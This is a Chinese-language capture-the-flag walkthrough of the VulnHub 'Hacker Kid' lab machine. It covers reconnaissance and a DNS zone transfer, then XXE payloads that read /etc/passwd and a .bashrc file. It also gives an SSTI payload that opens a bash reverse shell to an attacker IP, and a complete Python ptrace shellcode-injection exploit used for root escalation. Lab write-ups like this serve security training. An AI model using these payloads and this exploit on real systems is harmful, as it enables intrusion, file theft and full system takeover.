Hack_Kid
- 靶机地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
一、主机发现
-
发现靶机IP为192.168.80.135
二、端口扫描
-
发现靶机开启了80、53、9999端口
三、信息收集
1.访问80端口
2.访问9999端口
- 根据靶场作者的提示,不需要暴力破解,所以我们要通过信息收集来获得账号密码
3.寻找新思路
-
我尝试访问80端口的各个页面,发现没有可以利用的点,后来发现在主页有下面这段话
-
说要更多的挖掘,因此尝试看一下源代码,果然发现注释中有提示,要通过get方式传递一个page_no的参数,随便传入一个值,发现页面返回了一个信息
-
尝试通过BP对参数值进行爆破
-
当等于21时返回的长度不一样,所以尝试访问一下
四、域名发现
-
上面的提示说有一些子域。并且还给了一个子域 hackers.blackhat.local,把这个域名加入 到hosts 文件(/etc/hosts)中
-
尝试访问hackers.blackhat.local
-
没有特别的信息,但是DIG重复了三次,dig(域信息搜索器)命令是一个用于询问 DNS 域名服务器的灵活的工具,所以我们尝试用dig命令挖一下
dig axfr @192.168.80.135 blackhat.local
-
将域名添加到hosts文件中,然后逐一进行访问,发现hackerkid.blackhat.local这个域名是个全新的页面
五、XXE
-
随便填写信息使用BP进行抓包。发现数据是通过XML格式传输的
-
构造payload,访问/etc/passwd文件,发现saket的用户权限较高
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]> <root> <name>glc</name> <tel>12345678888</tel> <email> &xxe; </email> <password>glc1122</password> </root>
-
.ssh 中的文件看不到,不过看到了.bashrc 文件,使用封装器的方法读取文件,然后进行base64解码
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
六、SSTI
-
尝试用上面获取到的用户名密码登录9000端口的页面,发现用户名密码不对,后来将admin换成最早发现的saket用户,登陆成功
-
页面显示Tell me your name buddy,所以我们尝试通过get的方式传递名为name的参数
-
在前面进行信息收集时,我们已经知道9999端口对应的服务是Tornado,这是一个Python的Web服务框架,这个框架是可能存在SSTI模板注入的,我们先拿payload尝试一下
{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz] //回显报错信息证明存在SSTI模板注入 ${8*8},{{8*8}} //如果显示计算后的结果,证明存在SSTI模板注入
-
利用SSTI模板注入反弹shell,在kali上监听端口,并将python反弹shell语句进行encodeURIComponent编码(将符号替换为ascii对应的Hex值,空格替换为%20)
编码前:{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.80.129/8888 0>&1"')}} 编码后:%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.80.129%2F8888%200%3E%261%22')%7D%7D
七、Capabilitie提权
-
Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。 这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。 如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。
-
查找具有Capabilities特殊操作权限的程序
/usr/sbin/getcap -r / 2>/dev/null -r
-
通过上图我们发现python具备cap_sys_ptrace+ep 能力,所以我们可以对其进行利用然后进行提权。这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用pythono具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口,我们也可以修改shellcode部分让其监听其他端口
kali:python3 -m http.server 80 靶机:wget http://192.168.80.129/exp.py
import ctypes import sys import struct PTRACE_POKETEXT = 4 PTRACE_GETREGS = 12 PTRACE_SETREGS = 13 PTRACE_ATTACH = 16 PTRACE_DETACH = 17 class user_regs_struct(ctypes.Structure): _fields_ = [ ("r15", ctypes.c_ulonglong), ("r14", ctypes.c_ulonglong), ("r13", ctypes.c_ulonglong), ("r12", ctypes.c_ulonglong), ("rbp", ctypes.c_ulonglong), ("rbx", ctypes.c_ulonglong), ("r11", ctypes.c_ulonglong), ("r10", ctypes.c_ulonglong), ("r9", ctypes.c_ulonglong), ("r8", ctypes.c_ulonglong), ("rax", ctypes.c_ulonglong), ("rcx", ctypes.c_ulonglong), ("rdx", ctypes.c_ulonglong), ("rsi", ctypes.c_ulonglong), ("rdi", ctypes.c_ulonglong), ("orig_rax", ctypes.c_ulonglong), ("rip", ctypes.c_ulonglong), ("cs", ctypes.c_ulonglong), ("eflags", ctypes.c_ulonglong), ("rsp", ctypes.c_ulonglong), ("ss", ctypes.c_ulonglong), ("fs_base", ctypes.c_ulonglong), ("gs_base", ctypes.c_ulonglong), ("ds", ctypes.c_ulonglong), ("es", ctypes.c_ulonglong), ("fs", ctypes.c_ulonglong), ("gs", ctypes.c_ulonglong), ] libc = ctypes.CDLL("libc.so.6") pid=int(sys.argv[1]) # Define argument type and respone type. libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p] libc.ptrace.restype = ctypes.c_uint64 # Attach to the process libc.ptrace(PTRACE_ATTACH, pid, None, None) registers=user_regs_struct() # Retrieve the value stored in registers libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers)) print("Instruction Pointer: " + hex(registers.rip)) print("Injecting Shellcode at: " + hex(registers.rip)) # Shell code copied from exploit db. shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05" # Inject the shellcode into the running process byte by byte. for i in xrange(0,len(shellcode),4): # Convert the byte to little endian. shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16) shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex') shellcode_byte=int(shellcode_byte_little_endian,16) # Inject the byte. libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte) print("Shellcode Injected!!") # Modify the instuction pointer registers.rip=registers.rip+2 # Set the registers libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers)) print("Final Instruction Pointer: " + hex(registers.rip)) # Detach from the process. libc.ptrace(PTRACE_DETACH, pid, None, None)
-
找到root进程的ID号,使用python2.7命令执行exp,或者使用下面的脚本对root进程批量尝试。
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 exp.py $i; done
-
netstat 查看一下是否开启监听了5600端口
netstat -lntp | grep 5600
-
成功提权